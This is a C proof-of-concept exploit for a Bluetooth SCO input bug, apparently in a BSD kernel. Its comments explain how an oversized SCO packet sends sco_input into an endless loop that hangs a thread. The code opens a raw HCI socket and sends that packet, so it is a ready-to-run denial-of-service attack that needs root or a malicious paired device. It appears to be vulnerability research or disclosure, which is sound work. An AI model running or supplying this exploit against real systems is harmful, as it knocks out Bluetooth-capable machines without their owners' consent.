/*
 * DF-0710 PoC - sco_input infinite loop (thread hang / DoS).
 *
 * Bug: sco_socket.c:221-222 uses `while (m->m_pkthdr.len > sbspace(&so->so_rcv))
 * sbdroprecord(&so->so_rcv.sb);`. If the packet exceeds the receive buffer
 * hi-water mark (sco_recvspace=4096), sbdroprecord on an empty buffer is a
 * no-op, sbspace never grows, and the loop never exits. L2CAP/RFCOMM use `if`
 * (drop packet); only SCO has the broken `while`.
 *
 * Requires: root + raw HCI socket, OR malicious paired Bluetooth peer / dongle.
 *
 * Build: cc -o sco_input_hang sco_input_hang.c
 * Run:   ./sco_input_hang <unit> <sco_handle>
 *
 * Precondition: an SCO connection exists on <handle>.
 */
#include <sys/socket.h>
#include <sys/types.h>
#include <netbt/bluetooth.h>
#include <netbt/hci.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
    if (argc != 3) {
        fprintf(stderr, "usage: %s <hci_unit> <sco_handle>\n", argv[0]);
        return 2;
    }
    int unit = atoi(argv[1]);
    int handle = atoi(argv[2]);

    int s = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
    if (s < 0) { perror("socket"); return 1; }

    struct sockaddr_bt sa;
    memset(&sa, 0, sizeof(sa));
    sa.bt_len = sizeof(sa);
    sa.bt_family = AF_BLUETOOTH;
    sa.bt_bdaddr.b[5] = unit;
    if (bind(s, (struct sockaddr *)&sa, sa.bt_len) < 0)
        perror("bind");

    /* HCI SCO data packet with 8192-byte payload (> sco_recvspace 4096).
     * After 3-byte HCI header strip, m->m_pkthdr.len = 8189 > 4096.
     * sbdroprecord on empty buffer is no-op -> infinite loop. */
    unsigned char pkt[4 + 8192];
    memset(pkt, 0, sizeof(pkt));
    pkt[0] = HCI_SCO_DATA_PKT;          /* 0x03 */
    pkt[1] = handle & 0xff;
    pkt[2] = (handle >> 8) & 0xff;
    pkt[3] = 0;                          /* HCI will compute */

    write(s, pkt, sizeof(pkt));
    fprintf(stderr, "Sent oversized SCO packet. Check 'top -H' for spinning thread.\n");
    pause();
    return 0;
}
